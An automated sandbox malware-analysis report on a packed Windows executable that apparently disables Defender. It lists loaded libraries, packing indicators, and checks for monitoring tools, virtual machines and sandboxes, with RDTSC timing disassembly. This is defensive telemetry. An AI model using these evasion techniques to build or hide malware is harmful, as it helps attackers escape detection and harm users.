Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: f48jWpQ2F8.exe

Static file information: File size 2981376 > 1048576

Source: f48jWpQ2F8.exe

Static PE information: Raw size of fuykgmnl is bigger than: 0x100000 < 0x2b0000

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: f48jWpQ2F8.exe, 00000000.00000002.1927543718.00000000063E2000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe

Unpacked PE file: 0.2.f48jWpQ2F8.exe.de0000.0.unpack :EW;.rsrc :W;.idata :W;fuykgmnl:EW;eekmkenr:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;fuykgmnl:EW;eekmkenr:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: f48jWpQ2F8.exe

Static PE information: real checksum: 0x2e6ee0 should be: 0x2dc07d

Source: f48jWpQ2F8.exe	Static PE information: section name:
Source: f48jWpQ2F8.exe	Static PE information: section name: .rsrc
Source: f48jWpQ2F8.exe	Static PE information: section name: .idata
Source: f48jWpQ2F8.exe	Static PE information: section name: fuykgmnl
Source: f48jWpQ2F8.exe	Static PE information: section name: eekmkenr
Source: f48jWpQ2F8.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137303B push cs; retf	0_3_0137300D
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137303B push cs; retf	0_3_0137300D
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_01374338 push eax; ret	0_3_01374339
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_01374338 push eax; ret	0_3_01374339
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_01373001 push es; ret	0_3_01373002
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_01373001 push es; ret	0_3_01373002
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137300B push cs; retf	0_3_0137300D
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137300B push cs; retf	0_3_0137300D
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137CBD8 pushad ; retf	0_3_0137CBD9
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137CBD8 pushad ; retf	0_3_0137CBD9
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137303B push cs; retf	0_3_0137300D
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137303B push cs; retf	0_3_0137300D
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_01374338 push eax; ret	0_3_01374339
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_01374338 push eax; ret	0_3_01374339
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_01373001 push es; ret	0_3_01373002
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_01373001 push es; ret	0_3_01373002
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137300B push cs; retf	0_3_0137300D
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137300B push cs; retf	0_3_0137300D
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137CBD8 pushad ; retf	0_3_0137CBD9
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137CBD8 pushad ; retf	0_3_0137CBD9
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137303B push cs; retf	0_3_0137300D
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137303B push cs; retf	0_3_0137300D
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_01374338 push eax; ret	0_3_01374339
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_01374338 push eax; ret	0_3_01374339
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_01373001 push es; ret	0_3_01373002
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_01373001 push es; ret	0_3_01373002
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137300B push cs; retf	0_3_0137300D
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137300B push cs; retf	0_3_0137300D
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137CBD8 pushad ; retf	0_3_0137CBD9
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_0137CBD8 pushad ; retf	0_3_0137CBD9
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Code function: 0_3_012FAE69 push FFFFFF8Ah; iretd	0_3_012FAE6B

Source: f48jWpQ2F8.exe

Static PE information: section name: entropy: 7.979729296866961

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FA94F3 second address: FA952E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E0119Dh 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d jng 00007FE8C4E011A8h 0x00000013 push edi 0x00000014 pop edi 0x00000015 jmp 00007FE8C4E011A0h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FE8C4E0119Bh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FB8AA3 second address: FB8AD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007FE8C4E5DB37h 0x00000010 jmp 00007FE8C4E5DB2Ah 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FB8AD0 second address: FB8AE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 je 00007FE8C4E01196h 0x0000000d popad 0x0000000e ja 00007FE8C4E0119Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FB8C47 second address: FB8C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FE8C4E5DB39h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FB8C65 second address: FB8C72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007FE8C4E01196h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FB8C72 second address: FB8C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007FE8C4E5DB26h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FB8C83 second address: FB8C87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FB9097 second address: FB909B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FB909B second address: FB90B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E011A4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FB90B5 second address: FB90BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FBBBFB second address: FBBC01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FBBC01 second address: FBBC05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FBBC05 second address: FBBCBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E0119Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c or dword ptr [ebp+122D1E30h], ecx 0x00000012 push 00000000h 0x00000014 jne 00007FE8C4E011A2h 0x0000001a mov di, dx 0x0000001d push 3FE8C93Eh 0x00000022 ja 00007FE8C4E0119Eh 0x00000028 xor dword ptr [esp], 3FE8C9BEh 0x0000002f mov esi, dword ptr [ebp+122D3953h] 0x00000035 push 00000003h 0x00000037 mov esi, dword ptr [ebp+122D3B73h] 0x0000003d and ch, 0000006Ch 0x00000040 push 00000000h 0x00000042 mov dword ptr [ebp+122D1C97h], eax 0x00000048 push 00000003h 0x0000004a push 00000000h 0x0000004c push edi 0x0000004d call 00007FE8C4E01198h 0x00000052 pop edi 0x00000053 mov dword ptr [esp+04h], edi 0x00000057 add dword ptr [esp+04h], 00000014h 0x0000005f inc edi 0x00000060 push edi 0x00000061 ret 0x00000062 pop edi 0x00000063 ret 0x00000064 jmp 00007FE8C4E011A0h 0x00000069 call 00007FE8C4E01199h 0x0000006e push eax 0x0000006f push edx 0x00000070 pushad 0x00000071 jmp 00007FE8C4E011A8h 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FBBCBA second address: FBBCBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FBBCBF second address: FBBCD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE8C4E0119Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FBBCD9 second address: FBBD09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007FE8C4E5DB39h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push ecx 0x00000013 pushad 0x00000014 jl 00007FE8C4E5DB26h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FBBDCF second address: FBBDD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FBBF10 second address: FBBF85 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE8C4E5DB2Fh 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D3861h], esi 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007FE8C4E5DB28h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov ecx, dword ptr [ebp+122D38B3h] 0x00000037 jmp 00007FE8C4E5DB38h 0x0000003c push FDC9E63Dh 0x00000041 push eax 0x00000042 push edx 0x00000043 push edi 0x00000044 jmp 00007FE8C4E5DB2Fh 0x00000049 pop edi 0x0000004a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FBBF85 second address: FBC02B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE8C4E01198h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 02361A43h 0x00000013 jmp 00007FE8C4E0119Bh 0x00000018 push 00000003h 0x0000001a jmp 00007FE8C4E011A3h 0x0000001f push 00000000h 0x00000021 jng 00007FE8C4E011ADh 0x00000027 jmp 00007FE8C4E011A7h 0x0000002c push 00000003h 0x0000002e jmp 00007FE8C4E0119Bh 0x00000033 push C4B06066h 0x00000038 jmp 00007FE8C4E0119Eh 0x0000003d xor dword ptr [esp], 04B06066h 0x00000044 mov dword ptr [ebp+122D1D11h], edx 0x0000004a lea ebx, dword ptr [ebp+12457A9Ah] 0x00000050 mov cx, 0800h 0x00000054 xchg eax, ebx 0x00000055 push eax 0x00000056 push edx 0x00000057 jp 00007FE8C4E011AAh 0x0000005d rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDA201 second address: FDA207 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDA207 second address: FDA226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE8C4E011A7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDA226 second address: FDA22A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDA470 second address: FDA474 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDA474 second address: FDA482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FE8C4E5DB26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDA76A second address: FDA784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FE8C4E011A2h 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDAB38 second address: FDAB3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDAC72 second address: FDAC78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDAC78 second address: FDAC87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FE8C4E5DB2Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDAF63 second address: FDAF7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE8C4E01196h 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE8C4E0119Ah 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FD2E67 second address: FD2E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE8C4E5DB33h 0x0000000b popad 0x0000000c jbe 00007FE8C4E5DB2Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDB358 second address: FDB35C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
